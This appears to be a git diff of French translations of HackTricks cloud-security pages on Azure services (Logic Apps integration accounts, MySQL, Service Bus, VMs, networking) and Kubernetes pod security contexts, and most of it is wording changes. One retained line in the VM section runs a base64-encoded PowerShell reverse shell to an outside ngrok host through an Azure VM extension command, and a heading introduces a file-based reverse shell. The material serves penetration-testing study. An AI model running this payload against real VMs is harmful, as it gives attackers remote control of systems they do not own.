**Comptes d'intégration**, sont une fonctionnalité d'Azure Logic Apps. Les Comptes d'intégration sont utilisés pour faciliter les intégrations au niveau de l'entreprise en permettant des capacités B2B avancées, telles que la gestion EDI, AS2 et des schémas XML. Les Comptes d'intégration sont un conteneur dans Azure qui stocke les artefacts suivants utilisés pour les Logic Apps :
|
||||
**Comptes d'intégration**, sont une fonctionnalité d'Azure Logic Apps. Les Comptes d'intégration sont utilisés pour faciliter les intégrations au niveau de l'entreprise en permettant des capacités B2B avancées, telles que la gestion EDI, AS2 et XML schema. Les Comptes d'intégration sont un conteneur dans Azure qui stocke les artefacts suivants utilisés pour les Logic Apps :
|
||||
|
||||
* Schémas : Gérer les schémas XML pour valider et traiter les messages dans votre compte d'intégration.
|
||||
* Cartes : Configurer des transformations basées sur XSLT pour convertir les formats de données au sein de vos flux de travail d'intégration.
|
||||
* Cartes : Configurer des transformations basées sur XSLT pour convertir les formats de données dans vos flux de travail d'intégration.
|
||||
* Assemblages : Gérer les assemblages du compte d'intégration pour rationaliser la logique et le traitement des données.
|
||||
* Certificats : Gérer les certificats pour chiffrer et signer les messages, garantissant une communication sécurisée.
|
||||
* Partenaires : Gérer les informations sur les partenaires commerciaux pour les transactions B2B, permettant des intégrations sans faille.
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure MySQL
|
||||
Azure Database for MySQL est un service de base de données relationnelle entièrement géré basé sur l'édition communautaire de MySQL, conçu pour offrir évolutivité, sécurité et flexibilité pour divers besoins d'application. Il dispose de deux modèles de déploiement différents :
|
||||
Azure Database for MySQL est un service de base de données relationnelle entièrement géré basé sur l'édition communautaire MySQL, conçu pour offrir évolutivité, sécurité et flexibilité pour divers besoins d'application. Il dispose de deux modèles de déploiement différents :
|
||||
|
||||
* **Serveur unique** (est sur la voie de la retraite) :
|
||||
- Optimisé pour des déploiements MySQL rentables et faciles à gérer.
|
||||
@@ -11,7 +11,7 @@ Azure Database for MySQL est un service de base de données relationnelle entiè
|
||||
- Idéal pour les applications avec des charges de travail prévisibles.
|
||||
* **Serveur flexible** :
|
||||
- Offre plus de contrôle sur la gestion et la configuration de la base de données.
|
||||
- Prend en charge la haute disponibilité (zone identique et redondante de zone).
|
||||
- Prend en charge la haute disponibilité (dans la même zone et redondante entre zones).
|
||||
- Comprend une mise à l'échelle élastique, la gestion des correctifs et l'optimisation des charges de travail.
|
||||
- Offre une fonctionnalité d'arrêt/démarrage pour des économies de coûts.
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
- Idéal pour les applications avec des charges de travail prévisibles.
|
||||
* **Serveur flexible** :
|
||||
- Offre un meilleur contrôle sur la gestion et la configuration de la base de données.
|
||||
- Prend en charge la haute disponibilité, à la fois dans la même zone et entre les zones.
|
||||
- Prend en charge la haute disponibilité, à la fois dans la même zone et à travers les zones.
|
||||
- Comprend une mise à l'échelle élastique, une maintenance automatisée et des fonctionnalités d'économie de coûts.
|
||||
- Permet de démarrer et d'arrêter le serveur pour optimiser les coûts.
|
||||
|
||||
@@ -130,7 +130,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
|
||||
|
||||
## À faire
|
||||
|
||||
* Chercher un moyen d'accéder avec ad-admin pour vérifier s'il s'agit d'une méthode d'escalade de privilèges
|
||||
* Chercher un moyen d'accéder avec ad-admin pour vérifier si c'est une méthode d'escalade de privilèges
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -35,7 +35,7 @@ Certaines fonctionnalités avancées sont :
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
Les politiques SAS définissent les autorisations d'accès pour les entités Azure Service Bus namespace (la plus importante), files d'attente et sujets. Chaque politique a les composants suivants :
|
||||
Les politiques SAS définissent les autorisations d'accès pour les entités Azure Service Bus namespace (le plus important), files d'attente et sujets. Chaque politique a les composants suivants :
|
||||
|
||||
- **Permissions** : Cases à cocher pour spécifier les niveaux d'accès :
|
||||
- Manage : Accorde un contrôle total sur l'entité, y compris la configuration et la gestion des autorisations.
|
||||
|
||||
@@ -20,7 +20,7 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
|
||||
- **Type de sécurité** :
|
||||
- **Sécurité standard** : C'est le type de sécurité par défaut qui ne nécessite aucune configuration spécifique.
|
||||
- **Lancement de confiance** : Ce type de sécurité améliore la protection contre les kits de démarrage et les logiciels malveillants au niveau du noyau en utilisant le démarrage sécurisé et le module de plateforme de confiance virtuel (vTPM).
|
||||
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation basée sur le matériel entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **VMs confidentielles** : En plus d'un lancement de confiance, cela offre une isolation matérielle entre la VM, l'hyperviseur et la gestion de l'hôte, améliore le chiffrement des disques et [**plus**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Authentification** : Par défaut, une nouvelle **clé SSH est générée**, bien qu'il soit possible d'utiliser une clé publique ou d'utiliser une clé précédente et le nom d'utilisateur par défaut est **azureuser**. Il est également possible de configurer l'utilisation d'un **mot de passe.**
|
||||
- **Chiffrement des disques VM :** Le disque est chiffré au repos par défaut en utilisant une clé gérée par la plateforme.
|
||||
- Il est également possible d'activer **le chiffrement à l'hôte**, où les données seront chiffrées dans l'hôte avant d'être envoyées au service de stockage, garantissant un chiffrement de bout en bout entre l'hôte et le service de stockage ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
@@ -40,7 +40,7 @@ Les Machines Virtuelles (VM) Azure sont des **serveurs basés sur le cloud flexi
|
||||
- VmAvailabilityMetric inférieur à 1
|
||||
- **Moniteur de santé** : Par défaut, vérifie le protocole HTTP sur le port 80
|
||||
- **Verrous** : Cela permet de verrouiller une VM afin qu'elle ne puisse être que lue (**Verrouillage en lecture seule**) ou qu'elle puisse être lue et mise à jour mais pas supprimée (**Verrouillage non supprimable**).
|
||||
- La plupart des ressources liées aux VM **prennent également en charge les verrous** comme les disques, les instantanés...
|
||||
- La plupart des ressources liées aux VM **supportent également les verrous** comme les disques, les instantanés...
|
||||
- Les verrous peuvent également être appliqués au **niveau du groupe de ressources et de l'abonnement**
|
||||
|
||||
## Disques & instantanés
|
||||
@@ -144,11 +144,11 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal à un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que le site principal est de nouveau opérationnel, vous pouvez y revenir.
|
||||
D'après les [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) : Site Recovery aide à garantir la continuité des activités en maintenant les applications et charges de travail en fonctionnement pendant les pannes. Site Recovery **réplique les charges de travail** s'exécutant sur des machines physiques et virtuelles (VM) d'un site principal vers un emplacement secondaire. Lorsqu'une panne se produit sur votre site principal, vous basculez vers un emplacement secondaire et accédez aux applications depuis là. Une fois que le site principal est de nouveau opérationnel, vous pouvez y revenir.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion permet un accès sécurisé et sans faille au **Remote Desktop Protocol (RDP)** et au **Secure Shell (SSH)** à vos machines virtuelles (VM) directement via le portail Azure ou via une jump box. En **éliminant le besoin d'adresses IP publiques** sur vos VM.
|
||||
Azure Bastion permet un accès **Remote Desktop Protocol (RDP)** et **Secure Shell (SSH)** sécurisé et sans faille à vos machines virtuelles (VM) directement via le portail Azure ou via une jump box. En **éliminant le besoin d'adresses IP publiques** sur vos VM.
|
||||
|
||||
Le Bastion déploie un sous-réseau appelé **`AzureBastionSubnet`** avec un masque de sous-réseau `/26` dans le VNet sur lequel il doit fonctionner. Ensuite, il permet de **se connecter aux VM internes via le navigateur** en utilisant `RDP` et `SSH`, évitant ainsi d'exposer les ports des VM à Internet. Il peut également fonctionner comme un **hôte de saut**.
|
||||
|
||||
@@ -517,7 +517,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Exécuter un reverse shell à partir d'un fichier
|
||||
- Exécuter un shell inversé à partir d'un fichier
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -547,7 +547,7 @@ L'autorisation requise est toujours **`Microsoft.Compute/virtualMachines/extensi
|
||||
|
||||
<summary>Extension VMAccess</summary>
|
||||
|
||||
Cette extension permet de modifier le mot de passe (ou de créer s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
|
||||
Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VM Windows.
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -611,7 +611,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service des comptes d'automatisation](../az-automation-account/index.html).
|
||||
C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le [service Automation Accounts](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -738,7 +738,7 @@ Il est possible de passer certaines données à la VM qui seront stockées dans
|
||||
- Dans **Windows**, les données personnalisées sont placées dans `%SYSTEMDRIVE%\AzureData\CustomData.bin` en tant que fichier binaire et ne sont pas traitées.
|
||||
- Dans **Linux**, elles étaient stockées dans `/var/lib/waagent/ovf-env.xml` et maintenant elles sont stockées dans `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Agent Linux** : Il ne traite pas les données personnalisées par défaut, une image personnalisée avec les données activées est nécessaire
|
||||
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être dans [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant juste le script dans les données personnalisées.
|
||||
- **cloud-init :** Par défaut, il traite les données personnalisées et ces données peuvent être au format [**plusieurs formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Il pourrait exécuter un script facilement en envoyant juste le script dans les données personnalisées.
|
||||
- J'ai essayé que les deux Ubuntu et Debian exécutent le script que vous mettez ici.
|
||||
- Il n'est également pas nécessaire d'activer les données utilisateur pour que cela soit exécuté.
|
||||
```bash
|
||||
|
||||
@@ -91,20 +91,20 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu stateful** qui filtre le trafic en fonction de règles pour les couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
|
||||
Azure Firewall est un **service de sécurité réseau géré** dans Azure qui protège les ressources cloud en inspectant et en contrôlant le trafic. C'est un **pare-feu stateful** qui filtre le trafic en fonction de règles pour les Couches 3 à 7, prenant en charge la communication à la fois **au sein d'Azure** (trafic est-ouest) et **vers/depuis des réseaux externes** (trafic nord-sud). Déployé au niveau du **réseau virtuel (VNet)**, il fournit une protection centralisée pour tous les sous-réseaux dans le VNet. Azure Firewall s'adapte automatiquement pour gérer les demandes de trafic et garantit une haute disponibilité sans nécessiter de configuration manuelle.
|
||||
|
||||
Il est disponible en trois SKUs—**Basic**, **Standard** et **Premium**, chacun adapté à des besoins spécifiques des clients :
|
||||
|
||||
| Critères/Fonctionnalité | Option 1 | Option 2 | Option 3 |
|
||||
| Critères/Fonctionnalité | Option 1 | Option 2 | Option 3 |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Cas d'utilisation recommandé** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage des couches 3 à 7 | Environnements hautement sensibles (par exemple, traitement des paiements) |
|
||||
| **Cas d'utilisation recommandé** | Petites/Moyennes Entreprises (PME) avec des besoins limités | Utilisation générale en entreprise, filtrage Couches 3–7 | Environnements hautement sensibles (par exemple, traitement des paiements) |
|
||||
| **Performance** | Jusqu'à 250 Mbps de débit | Jusqu'à 30 Gbps de débit | Jusqu'à 100 Gbps de débit |
|
||||
| **Renseignement sur les menaces** | Alertes uniquement | Alertes et blocage (IP/domaines malveillants) | Alertes et blocage (renseignement sur les menaces avancées) |
|
||||
| **Filtrage L3–L7** | Filtrage de base | Filtrage stateful à travers les protocoles | Filtrage stateful avec inspection avancée |
|
||||
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur le renseignement sur les menaces | Inclut un système de détection et de prévention des intrusions (IDPS) |
|
||||
| **Protection avancée contre les menaces** | Non disponible | Filtrage basé sur le renseignement sur les menaces | Inclut un système de détection et de prévention des intrusions (IDPS) |
|
||||
| **Inspection TLS** | Non disponible | Non disponible | Prend en charge la terminaison TLS entrante/sortante |
|
||||
| **Disponibilité** | Backend fixe (2 VMs) | Autoscaling | Autoscaling |
|
||||
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de pare-feu | Géré via le Gestionnaire de pare-feu |
|
||||
| **Facilité de gestion** | Contrôles de base | Géré via le Gestionnaire de pare-feu | Géré via le Gestionnaire de pare-feu |
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -143,9 +143,9 @@ Get-AzFirewall
|
||||
|
||||
## Tables de routage Azure
|
||||
|
||||
Les **tables de routage Azure** sont utilisées pour contrôler le routage du trafic réseau au sein d'un sous-réseau. Elles définissent des règles qui spécifient comment les paquets doivent être transférés, soit vers des ressources Azure, soit vers Internet, soit vers un prochain saut spécifique comme un appareil virtuel ou un pare-feu Azure. Vous pouvez associer une table de routage à un **sous-réseau**, et toutes les ressources au sein de ce sous-réseau suivront les routes dans la table.
|
||||
Les **Tables de routage Azure** sont utilisées pour contrôler le routage du trafic réseau au sein d'un sous-réseau. Elles définissent des règles qui spécifient comment les paquets doivent être transférés, soit vers des ressources Azure, soit vers Internet, soit vers un prochain saut spécifique comme un Appareil Virtuel ou un Pare-feu Azure. Vous pouvez associer une table de routage à un **sous-réseau**, et toutes les ressources au sein de ce sous-réseau suivront les routes dans la table.
|
||||
|
||||
**Exemple :** Si un sous-réseau héberge des ressources qui doivent acheminer le trafic sortant via un appareil virtuel réseau (NVA) pour inspection, vous pouvez créer une **route** dans une table de routage pour rediriger tout le trafic (par exemple, `0.0.0.0/0`) vers l'adresse IP privée de la NVA comme prochain saut.
|
||||
**Exemple :** Si un sous-réseau héberge des ressources qui doivent acheminer le trafic sortant via un Appareil Virtuel Réseau (NVA) pour inspection, vous pouvez créer une **route** dans une table de routage pour rediriger tout le trafic (par exemple, `0.0.0.0/0`) vers l'adresse IP privée du NVA comme prochain saut.
|
||||
|
||||
### **Énumération**
|
||||
|
||||
@@ -177,7 +177,7 @@ Azure Private Link est un service dans Azure qui **permet un accès privé aux s
|
||||
Private Link peut être utilisé avec divers services Azure, comme Azure Storage, Azure SQL Database, et des services personnalisés partagés via Private Link. Il fournit un moyen sécurisé de consommer des services depuis votre propre VNet ou même depuis différentes souscriptions Azure.
|
||||
|
||||
> [!CAUTION]
|
||||
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement que l'association d'un NSG avec un sous-réseau contenant le Private Link n'aura aucun effet.
|
||||
> Les NSG ne s'appliquent pas aux points de terminaison privés, ce qui signifie clairement qu'associer un NSG à un sous-réseau contenant le Private Link n'aura aucun effet.
|
||||
|
||||
**Exemple :**
|
||||
|
||||
@@ -206,9 +206,9 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Points de terminaison des services Azure
|
||||
## Points de terminaison de service Azure
|
||||
|
||||
Les points de terminaison des services Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau backbone d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
|
||||
Les points de terminaison de service Azure étendent l'espace d'adresses privées de votre réseau virtuel et l'identité de votre VNet aux services Azure via une connexion directe. En activant les points de terminaison de service, **les ressources de votre VNet peuvent se connecter en toute sécurité aux services Azure**, comme Azure Storage et Azure SQL Database, en utilisant le réseau backbone d'Azure. Cela garantit que le **trafic du VNet vers le service Azure reste au sein du réseau Azure**, offrant un chemin plus sécurisé et fiable.
|
||||
|
||||
**Exemple :**
|
||||
|
||||
@@ -300,7 +300,7 @@ Azure Application Gateway est un **équilibreur de charge de trafic web** qui vo
|
||||
|
||||
**Exemple :**
|
||||
|
||||
Considérez un scénario où vous avez un site web de commerce électronique qui comprend plusieurs sous-domaines pour différentes fonctions, telles que les comptes utilisateurs et le traitement des paiements. Azure Application Gateway peut **router le trafic vers les serveurs web appropriés en fonction du chemin de l'URL**. Par exemple, le trafic vers `example.com/accounts` pourrait être dirigé vers le service des comptes utilisateurs, et le trafic vers `example.com/pay` pourrait être dirigé vers le service de traitement des paiements.\
|
||||
Considérez un scénario où vous avez un site web de commerce électronique qui comprend plusieurs sous-domaines pour différentes fonctions, telles que les comptes utilisateurs et le traitement des paiements. Azure Application Gateway peut **router le trafic vers les serveurs web appropriés en fonction du chemin URL**. Par exemple, le trafic vers `example.com/accounts` pourrait être dirigé vers le service des comptes utilisateurs, et le trafic vers `example.com/pay` pourrait être dirigé vers le service de traitement des paiements.\
|
||||
Et **protégez votre site web contre les attaques en utilisant les capacités WAF.**
|
||||
|
||||
### **Énumération**
|
||||
@@ -325,9 +325,9 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
**Le Peering VNet** est une fonctionnalité de mise en réseau dans Azure qui **permet à différents Réseaux Virtuels (VNets) d'être connectés directement et sans couture**. Grâce au peering VNet, les ressources dans un VNet peuvent communiquer avec des ressources dans un autre VNet en utilisant des adresses IP privées, **comme si elles étaient dans le même réseau**.\
|
||||
**Le Peering VNet peut également être utilisé avec des réseaux sur site** en configurant un VPN site à site ou Azure ExpressRoute.
|
||||
|
||||
**Azure Hub et Spoke** est une topologie de réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
|
||||
**Azure Hub et Spoke** est une topologie réseau utilisée dans Azure pour gérer et organiser le trafic réseau. **Le "hub" est un point central qui contrôle et dirige le trafic entre différents "spokes"**. Le hub contient généralement des services partagés tels que des appliances virtuelles réseau (NVA), Azure VPN Gateway, Azure Firewall ou Azure Bastion. Les **"spokes" sont des VNets qui hébergent des charges de travail et se connectent au hub via le peering VNet**, leur permettant de tirer parti des services partagés au sein du hub. Ce modèle favorise une disposition réseau claire, réduisant la complexité en centralisant les services communs que plusieurs charges de travail à travers différents VNets peuvent utiliser.
|
||||
|
||||
> [!CAUTION] > **Le peering VNET est non transitif dans Azure**, ce qui signifie que si le spoke 1 est connecté au spoke 2 et que le spoke 2 est connecté au spoke 3, alors le spoke 1 ne peut pas communiquer directement avec le spoke 3.
|
||||
> [!CAUTION] > **Le peering VNET n'est pas transitif dans Azure**, ce qui signifie que si le spoke 1 est connecté au spoke 2 et que le spoke 2 est connecté au spoke 3, alors le spoke 1 ne peut pas communiquer directement avec le spoke 3.
|
||||
|
||||
**Exemple :**
|
||||
|
||||
@@ -368,7 +368,7 @@ Un VPN Site-à-Site dans Azure vous permet de **connecter votre réseau local à
|
||||
|
||||
**Exemple :**
|
||||
|
||||
Une entreprise dont le bureau principal est situé à New York dispose d'un centre de données sur site qui doit se connecter de manière sécurisée à son VNet dans Azure, qui héberge ses charges de travail virtualisées. En configurant un **VPN Site-à-Site, l'entreprise peut garantir une connectivité chiffrée entre les serveurs sur site et les VM Azure**, permettant un accès sécurisé aux ressources à travers les deux environnements comme si elles se trouvaient sur le même réseau local.
|
||||
Une entreprise dont le bureau principal est situé à New York dispose d'un centre de données sur site qui doit se connecter de manière sécurisée à son VNet dans Azure, qui héberge ses charges de travail virtualisées. En configurant un **VPN Site-à-Site, l'entreprise peut garantir une connectivité chiffrée entre les serveurs sur site et les VM Azure**, permettant un accès sécurisé aux ressources à travers les deux environnements comme si elles étaient sur le même réseau local.
|
||||
|
||||
### **Énumération**
|
||||
|
||||
@@ -395,7 +395,7 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Azure ExpressRoute est un service qui fournit une **connexion privée, dédiée et à haute vitesse entre votre infrastructure sur site et les centres de données Azure**. Cette connexion est établie par l'intermédiaire d'un fournisseur de connectivité, contournant l'internet public et offrant plus de fiabilité, des vitesses plus rapides, des latences plus faibles et une sécurité supérieure par rapport aux connexions internet typiques.
|
||||
Azure ExpressRoute est un service qui fournit une **connexion privée, dédiée et à haute vitesse entre votre infrastructure sur site et les centres de données Azure**. Cette connexion est établie par l'intermédiaire d'un fournisseur de connectivité, contournant l'internet public et offrant plus de fiabilité, des vitesses plus rapides, des latences plus faibles et une sécurité accrue par rapport aux connexions internet typiques.
|
||||
|
||||
**Exemple :**
|
||||
|
||||
|
||||
@@ -8,13 +8,13 @@
|
||||
|
||||
Lors de la spécification du contexte de sécurité d'un Pod, vous pouvez utiliser plusieurs attributs. D'un point de vue de sécurité défensive, vous devriez considérer :
|
||||
|
||||
- Avoir **runASNonRoot** comme **True**
|
||||
- Avoir **runASNonRoot** comme **Vrai**
|
||||
- Configurer **runAsUser**
|
||||
- Si possible, envisager de **limiter** les **permissions** en indiquant **seLinuxOptions** et **seccompProfile**
|
||||
- Ne **PAS** donner d'accès au **groupe** de **privilèges** via **runAsGroup** et **supplementaryGroups**
|
||||
|
||||
| Paramètre | Description |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Un groupe supplémentaire spécial qui s'applique à <strong>tous les conteneurs d'un pod</strong>. Certains types de volumes permettent au Kubelet de <strong>changer la propriété de ce volume</strong> pour qu'il soit possédé par le pod :<br>1. Le GID propriétaire sera le FSGroup<br>2. Le bit setgid est défini (les nouveaux fichiers créés dans le volume seront possédés par FSGroup)<br>3. Les bits de permission sont OR'd avec rw-rw---- Si non défini, le Kubelet ne modifiera pas la propriété et les permissions de tout volume</p> |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>Un groupe supplémentaire spécial qui s'applique à <strong>tous les conteneurs dans un pod</strong>. Certains types de volumes permettent au Kubelet de <strong>changer la propriété de ce volume</strong> pour qu'il soit possédé par le pod :<br>1. Le GID propriétaire sera le FSGroup<br>2. Le bit setgid est défini (les nouveaux fichiers créés dans le volume seront possédés par FSGroup)<br>3. Les bits de permission sont OR'd avec rw-rw---- Si non défini, le Kubelet ne modifiera pas la propriété et les permissions de tout volume</p> |
|
||||
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | Cela définit le comportement de **changement de propriété et de permission du volume** avant d'être exposé à l'intérieur du Pod. |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | Le **GID pour exécuter le point d'entrée du processus du conteneur**. Utilise la valeur par défaut d'exécution si non défini. |
|
||||
@@ -32,11 +32,11 @@ Lors de la spécification du contexte de sécurité d'un Pod, vous pouvez utilis
|
||||
|
||||
Ce contexte est défini à l'intérieur des **définitions de conteneurs**. D'un point de vue de sécurité défensive, vous devriez considérer :
|
||||
|
||||
- **allowPrivilegeEscalation** à **False**
|
||||
- **allowPrivilegeEscalation** à **Faux**
|
||||
- Ne pas ajouter de **capabilités** sensibles (et supprimer celles dont vous n'avez pas besoin)
|
||||
- **privileged** à **False**
|
||||
- Si possible, définir **readOnlyFilesystem** comme **True**
|
||||
- Définir **runAsNonRoot** à **True** et définir un **runAsUser**
|
||||
- **privileged** à **Faux**
|
||||
- Si possible, définir **readOnlyFilesystem** comme **Vrai**
|
||||
- Définir **runAsNonRoot** à **Vrai** et définir un **runAsUser**
|
||||
- Si possible, envisager de **limiter** les **permissions** en indiquant **seLinuxOptions** et **seccompProfile**
|
||||
- Ne **PAS** donner d'accès au **groupe** de **privilèges** via **runAsGroup.**
|
||||
|
||||
|
||||
Reference in New Issue
Block a user